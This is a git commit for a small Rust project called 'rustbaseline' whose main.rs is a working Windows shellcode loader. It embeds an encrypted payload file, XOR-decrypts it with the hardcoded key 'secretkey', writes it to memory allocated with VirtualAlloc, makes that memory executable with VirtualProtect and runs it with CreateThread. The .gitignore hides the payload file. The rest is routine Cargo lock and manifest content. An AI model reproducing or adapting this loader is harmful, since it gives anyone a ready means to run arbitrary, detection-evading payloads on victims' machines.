initial commit

This commit is contained in:
Dylan Reuter
2024-07-22 14:55:05 -05:00
commit e2e7ad054b
5 changed files with 256 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
/target
src/sc.bin
Generated
+173
View File
@@ -0,0 +1,173 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "proc-macro2"
version = "1.0.86"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.36"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
dependencies = [
"proc-macro2",
]
[[package]]
name = "rustbaseline"
version = "0.1.0"
dependencies = [
"windows",
]
[[package]]
name = "syn"
version = "2.0.72"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc4b9b9bf2add8093d3f2c0204471e951b2285580335de42f9d2534f3ae7a8af"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
[[package]]
name = "windows"
version = "0.58.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6"
dependencies = [
"windows-core",
"windows-targets",
]
[[package]]
name = "windows-core"
version = "0.58.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99"
dependencies = [
"windows-implement",
"windows-interface",
"windows-result",
"windows-strings",
"windows-targets",
]
[[package]]
name = "windows-implement"
version = "0.58.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-interface"
version = "0.58.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "windows-result"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-strings"
version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10"
dependencies = [
"windows-result",
"windows-targets",
]
[[package]]
name = "windows-targets"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
dependencies = [
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_gnullvm",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
[[package]]
name = "windows_i686_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
[[package]]
name = "windows_i686_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
[[package]]
name = "windows_i686_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+18
View File
@@ -0,0 +1,18 @@
[package]
name = "rustbaseline"
version = "0.1.0"
edition = "2021"
[dependencies]
[dependencies.windows]
version = "0.58.0"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_Security",
"Win32_System_Diagnostics_Debug"
]
+1
View File
@@ -0,0 +1 @@
# rustbaseline
+62
View File
@@ -0,0 +1,62 @@
use windows::Win32::System::{Memory::{MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READ, VirtualAlloc, PAGE_READWRITE, VirtualProtect, PAGE_PROTECTION_FLAGS}, Threading::{WaitForSingleObject, CreateThread, THREAD_CREATION_FLAGS}};
use windows::Win32::Foundation::HANDLE;
use core::ffi::c_void;
use core::ptr;
use std::ptr::null;
fn main() {
let sc: Vec<u8> = include_bytes!("sc.bin").to_vec();
let sc_len: usize = sc.len();
unsafe {
println!("[+] Allocating memory");
let exec_mem: *mut c_void = VirtualAlloc(
Some(ptr::null()),
sc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
println!("[+] Decrypting");
let mut dec_payload: Vec<u8> = Vec::new();
let key: Vec<u8> = vec![0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x6b, 0x65, 0x79];
let mut j: usize = 0;
for i in 0..sc_len {
if j > key.len() - 1 {
j = 0;
}
dec_payload.push(sc[i] ^ key[j]);
j = j + 1;
}
println!("[+] Copying {sc_len} bytes into memory");
std::ptr::copy(dec_payload.as_mut_ptr(), exec_mem as *mut u8, sc_len);
println!("[+] Making mem executable");
let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_READWRITE;
VirtualProtect(
exec_mem,
sc_len,
PAGE_EXECUTE_READ,
&mut old_protect
).unwrap();
let e_mem: extern "system" fn(*mut c_void) -> u32 = { std::mem::transmute(exec_mem) };
println!("[+] Creating thread");
let h_thread: HANDLE = CreateThread(
Some(ptr::null_mut()),
0,
Some(e_mem),
Some(null()),
THREAD_CREATION_FLAGS::default(),
Some(ptr::null_mut())
).unwrap();
println!("[+] Executing thread");
WaitForSingleObject(h_thread, u32::MAX);
}
}